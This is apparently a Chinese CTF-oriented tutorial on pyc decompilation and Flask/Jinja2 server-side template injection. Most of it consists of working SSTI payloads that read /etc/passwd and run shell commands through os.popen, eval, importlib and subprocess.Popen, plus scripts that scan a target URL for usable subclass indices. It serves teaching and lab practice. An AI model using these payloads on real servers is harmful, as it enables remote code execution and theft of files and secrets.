WEB攻防-Python-PYC 反编译CTF 与 CMS-SSTI 模版注入

反编译pyc字节码文件

pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。
真题附件:http://pan.baidu.com/s/1jGpB8DS
反编译平台:
https://tool.lu/pyc/ 
http://tools.bugscaner.com/decompyle/
反编译工具:https://github.com/wibiti/uncompyle2
一般在CTF上,真实上很难遇到。类似.class文件等,PHP可以直接打包,但是.net和.class,.pyc需要解密才能得到源代码。


在学习SSTI漏洞利用之前,先了解flask框架与魔术方法的使用

Flask框架基础

 装饰器@route路由

使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。

from flask import flask 
app = Flask(__name__)
@app.route('/')
def test()return 123@app.route('/index/')
def hello_word():return 'hello word'if __name__ == '__main__':app.run(port=5000)#结果:
#访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word

@app.route('/')的时候,在之前需要定义app = Flask(__name__)不然会报错,因为这个装饰器依赖于 Flask 应用实例,Flask(__name__)用于创建一个新的 Flask web 应用实例

是一个带有动态部分的 URL 路由。在这个例子中,<username> 是一个变量部分,它允许 URL 匹配任何包含该位置参数的字符串。

from flask import Flask  app = Flask(__name__)  @app.route("/<username>")  
def hello_user(username):  return "user:%s" % username  if __name__ == "__main__":  app.run(debug=True)

渲染模版方法与Jinja2 模板引擎

render_template() 是用来渲染一个指定的文件的。

render_template_string则是用来渲染一个字符串的。

通过这两个函数将需要渲染的值传入到模板中

假设我们现在有一个index.html的模板

<html><head><title>{{title}}</title></head><body><h1>Hello, {{name}}!</h1></body>
</html>

使用render_template() / render_template_string()渲染时,只需传入title和name两个参数即可

from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')   
def index():return render_template("index.html",title='Home',name='user')
if __name__ == '__main__':app.run(port=5000)

注意上面代码我们手动传值的写死了的,所以他是安全的,但是如果,我们把传值的机会给用户,下面代码通过request.args.get('id')接收用户输入的id值传入到模版中渲染,并且直接使用 Python 的字符串格式化来处理id

from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():id = request.args.get('id')html = '''<h1>%s</h1>'''%(id)return render_template_string(html)
if __name__ == '__main__':app.run(port=5000)

 而这时假设用户通过id传入一个恶意代码,就可能造成代码执行等问题,如id=<script>alert(111);</script>会把传入的js脚本执行

将上面代码稍微改动,使用Jinja2 模板引擎默认会对变量进行 HTML 转义,以防止跨站脚本攻击(XSS)。这意味着如果变量中包含 HTML 标签或特殊字符,它们将被转换为相应的 HTML 实体,从而不会在浏览器中作为 HTML 代码执行。

语法:

{{ some_variable|safe }}

some_variable 的内容将不会被转义,而是直接输出为 HTML。但务必谨慎使用 |safe 过滤器,因为它会使你的应用程序更容易受到 XSS 攻击。只有在你完全信任该变量的内容时,才应该使用它。

{{ some_variable|escape }}

escape 过滤器用于显式地对变量进行转义,默认选项

例如,如果你有一个包含 <> 字符的变量,Jinja2 会将这些字符转换为 &lt;&gt; 实体。

@app.route('/test/')
def test():code = request.args.get('id')return render_template_string('<h1>{{ code }}</h1>',code=code)

继承关系与魔法方法

__class__  #查看当前类型的所属对象

__base__  #沿着父子类关系往上走一个

__bases__  #查看该类的所有直接父类

__mro__  #查找当前类对象的所有继承类

__subclasses__()  #查找父类下的所以子类

__init__  #查看类是否已经加载这模块到内存中,如果出现wrapper字眼,说明没有

__globals__  #返回当前对象的全部全局变量,有哪些可用的方法函数等

示例:

class A:passclass B(A):passclass C(A):passclass D(B, C):pass

通过继承关系去执行到其他类可利用模块、函数等

我们都知道,object是所有类的基类,那么假设我们可以获取object的所有子类,就可以利用其子类的方法

可以看到__subclasses__()返回一个列表,我们可以通过下标来找到是否存在一些可利用的模块和函数

简单了解什么是SSTI

SSTI,即服务器端模板注入(Server-Side Template Injection),是一种注入攻击,漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,没有严格控制对用户的输入,使用了危险的模板,导致执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

而flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file,os等

检查是否存在SSTI漏洞

-输入的数据会被浏览器利用当前脚本语言调用解析执行

判断SSTI类型

有响应,正常执行

无响应,无法执行

SSTI常用注入模块利用

文件读取

查找子类的可利用模块名

_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

 利用python脚本循环匹配子类,代码原理遍历查找__subclasses__()函数找出的所有子类,匹配到就返回i,i就是下标

import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if '_frozen_importlib_external.FileLoader' in response.text:print(i)except:pass

FileLoader的利用

["get_data"](0,"/etc/passwd")

调用get_data方法,传入参数0和文件路径

假设python脚本获取到下标为79,继续往下构造playload

{{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

前半段找出_frozen_importlib_external.FileLoader模块,后半段利用该模块下的函数读文件

在CTF中有一些会把FLAG放在配置文件里,通过读取配置文件获取FLAG

{{config}}

{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

内建函数eval执行命令

eval会把传进的值当做python代码执行,__builtins__包含了 Python 解释器启动时自动导入的所有内置函数和异常

通过__builtins__查找内建函数,比如abs(), len(), open(), range() 等都是 __builtins__ 模块的一部分,同样是通过脚本遍历找到存在 __builtins__ 模块并存在eval函数

import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if 'eval' in response.text:print(i)except:pass

假设python脚本获取到下标为79,继续往下构造playload,导入os模块执行文件读取

 {{().__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /ect/passwd").read()')}}

popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system模块没有回显)

OS模块执行命令

在其他函数模块中直接调用OS模块

通过config,调用OS

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for,调用OS

{{url_for.__globals__.os.popen('whoami').read()}}

在已经加载OS模块的子类里直接调用OS模块

{{''.__class__.__bases__[0].__subclasses__[199].__init__.__globals__['os'].popen("whoami").read()}}

通过{{self.__dict__.TemplateReference__context.keys()}}查找Flask内置函数和内置对象,根据内置函数和内置对象直接使用.__globals__查看是否存在os,如{{lipsum.__globals}}

通过python脚本查找子类下是否存在os.py

import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if 'os.py' in response.text:print(i)except:pass

importlib类执行命令

可以加载第三方库,使用load_module加载os(用的不多)

python脚步查找_frozen_importlib.Builtinlmporter

import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if '_frozen_importlib.Builtinlmporter' in response.text:print(i)except:pass

找到模块下标后,假设是69,继续构建playload

{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("whoami").read()}}

linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以可以利用这个linecache函数去执行命令

{{[].__class__.__base__.__subclasses__()[69].__init__.__globals__["linecache"]["os"].popen("whoami").read()}}

python脚步类似

subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值

subprocess意在替代其他几个老的模块或者函数,比如os.system、os.popen等函数

python脚本查找subprocess.Popen

import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if 'subprocess.Popen' in response.text:print(i)except:pass

获取到下标后,playload的构造和上面的有点不一样

{{().__class__.__bases__[0].__subclasses__()[155]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/341490.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android Studio的Gradle面板里不显示task,build ,assemble 无法出aar包

按照以下方式把对应开关打开就可以正常进行build/assemble进行aar的生成了

【Vue3-Element-Admin 动态路由】涉及到的配置

Vue3-Element-Admin 动态路由 涉及到的配置 0. Vue3-Element-Admin 项目地址1. router/index.ts2. Mock接口模拟数据3. store/permission4. api/menu5. plugins/permission 这篇文章讲的主要是 Vue3-Element-Admin 差不多内置的动态路由配置 (根据后端接口渲染) 先把开发环境&a…

vue 引用第三方库 Swpier轮播图

本文全程干货&#xff0c;没有废话 1.使用 npm 安装 swiper&#xff0c;使用 save 保存到 packjson 中 npm install --save swiper 2、把 swiper看成是第三方库或者是组件&#xff0c;然后按照&#xff0c;引用&#xff0c;挂载组件&#xff0c;使用组件三步法。 3、在 script…

完美的移动端 UI 风格

完美的移动端 UI 风格

文件上传漏洞之upload-labs

前提&#xff1a; 本文中的以xshell命名的均为以密码为admin的一句话木马&#xff0c;而shell命名的则是由冰蝎工具生成的木马。 pass-01&#xff1a;js前端验证 测试性的上传一个一句话木马&#xff0c;发现被拦截了&#xff0c;而且根据推测大概率是前端检测&#xff0c;于…

爬楼梯——动态规划第一步

本问题其实常规解法可以分成多个子问题&#xff0c;爬第 n 阶楼梯的方法数量&#xff0c;等于两个部分之和 爬上 n−1 阶楼梯的方法数量。因为再爬 1 阶就能到第 n 阶爬上 n−2 阶楼梯的方法数量&#xff0c;因为再爬 2 阶就能到第 n 阶 所以我们得到公式 dp[n] dp[n−1] d…

人脸识别——OpenCV

人脸识别 创建窗口创建按钮设置字体定义标签用于显示图片选择并显示图片检测图片中的人脸退出程序返回主界面 创建窗口 导入tkinter库&#xff0c;创建窗口&#xff0c;设置窗口标题和窗口大小。 import tkinter as tkwin tk.Tk() win.title("人脸识别") win.geom…

【康耐视国产案例】Nvidia/算能+智能AI相机:用AI驱动 | 降低电动车成本的未来之路

受环保观念影响、政府激励措施推动与新能源技术的发展&#xff0c;消费者对电动汽车(EV)的需求正在不断增长&#xff0c;电动汽车已经成为了未来出行方式的重要组成部分。然而&#xff0c;电动汽车大规模取代燃油汽车的道路还很漫长。最大的障碍就是电动汽车的售价相对过高。尽…

【云原生】Kubernetes----PersistentVolume(PV)与PersistentVolumeClaim(PVC)详解

目录 引言 一、存储卷 &#xff08;一&#xff09;存储卷定义 &#xff08;二&#xff09;存储卷的作用 1.数据持久化 2.数据共享 3.解耦 4.灵活性 &#xff08;三&#xff09;存储卷的分类 1.emptyDir存储卷 1.1 定义 1.2 特点 1.3 示例 2.hostPath存储卷 2.1 …

ArcGIS中几个好用的空间分析工具

ArcGIS是一款经典的GIS应用&#xff0c;其空间分析能力很强&#xff0c;有着丰富的空间分析工具。今天&#xff0c;我们一起来了解几个好用的空间分析工具的功用及操作。 注&#xff1a;演示版本为ArcMap10.4.1 1.方向分布&#xff08;标准差椭圆&#xff09; 路径&#xff…

四川汇聚荣聚荣科技有限公司综合实力怎么样?

在科技日新月异的今天&#xff0c;企业的综合实力成为衡量其市场竞争力的重要指标。四川汇聚荣聚荣科技有限公司作为一家在行业内具有一定影响力的企业&#xff0c;其综合实力如何&#xff0c;自然成为外界关注的焦点。以下将从多个维度深入分析该公司的实力。 一、公司概况与核…

Java利用POI绘制表格

前提需求 最近公司要求写一些记录的表格&#xff0c;并且带有导出功能。再深入学习后&#xff0c;表格的底层其实就是list遍历塞值&#xff0c;导出功能的话可以由前端&#xff0c;后端实现&#xff0c;但技多不压身嘛&#xff0c;这里我自己就写了后端的导出功能&#xff0c;…

【小白专用 已验证24.5.30】ThinkPHP6 视图

ThinkPHP6 视图 模板引擎支持普通标签和XML标签方式两种标签定义&#xff0c;分别用于不同的目的 标签类型描述普通标签主要用于输出变量、函数过滤和做一些基本的运算操作XML标签也称为标签库标签&#xff0c;主要完成一些逻辑判断、控制和循环输出&#xff0c;并且可扩展 c…

双指针法 ( 三数之和 )

题目 &#xff1a;给你一个整数数组 nums &#xff0c;判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k &#xff0c;同时还满足 nums[i] nums[j] nums[k] 0 。请 你返回所有和为 0 且不重复的三元组。 注意&#xff1a;答案中不可以包含重复…

计算机网络学习笔记——网络层(b站)

目录 网络层概述 网络层提供的两种服务 ①面向连接的虚电路服务 ②无连接的数据报服务 IPv4 路由选择 路由器转发IP数据报 静态路由选择 动态路由选择 路由信息协议RIP 开放最短路径优先OSPF&#xff08;Open Shortest Path First&#xff09; 内部网关协议IGP&…

Linux网络编程:回顾网络通信

1.数据从应用层到数据链路层的本质 数据的封装&#xff1a; 用户在用户级缓冲区输入数据&#xff0c;经过应用层协议进行序列化成字节流数据&#xff0c;拷贝到传输层的缓冲区。而操作系统在传输层维护了sk_buff这一个结构体&#xff0c;然后data指针指向这段数据的开头&#x…

【C++面试50题】

以下是针对C程序员面试可能遇到的一些问题&#xff0c;涵盖了从基础语法、面向对象、STL、内存管理、模板、异常处理、并发编程等多个方面。 ### 基础概念与语法 1. C与C的主要区别是什么&#xff1f; 2. 什么是构造函数和析构函数&#xff1f;它们何时被调用&#xff1f; 3. 什…

xml 取值错误 #{} boolean 一直为 false

取值时 #{param.msgStatus} 一直是false&#xff0c;java代码里面显示true。 <select id"findPageOaReading" resultType"com.focusin.data.office.func.dto.ProcessMessageInfoDTO">select i.*, t.template_name procdefNamefrom process_message_…

常见的Web漏洞——CORS

渗透做了多年的朋友都知道&#xff0c;大洞小洞都是漏洞。因此也学习、沉淀一下以前没重视的漏洞。 简介 CORS&#xff08;Cross-Origin Resource Sharing&#xff0c;跨源资源共享&#xff09;是一种由Web浏览器实现的安全策略&#xff0c;用于控制一个Web页面&#xff08;服…

Unity DOTS技术(五)Archetype,Chunk,NativeArray

文章目录 一.Chunk和Archetype什么是Chunk?什么是ArchType 二.Archetype创建1.创建实体2.创建并添加组件3.批量创建 三.多线程数组NativeArray 本次介绍的内容如下: 一.Chunk和Archetype 什么是Chunk? Chunk是一个空间,ECS系统会将相同类型的实体放在Chunk中.当一个Chunk…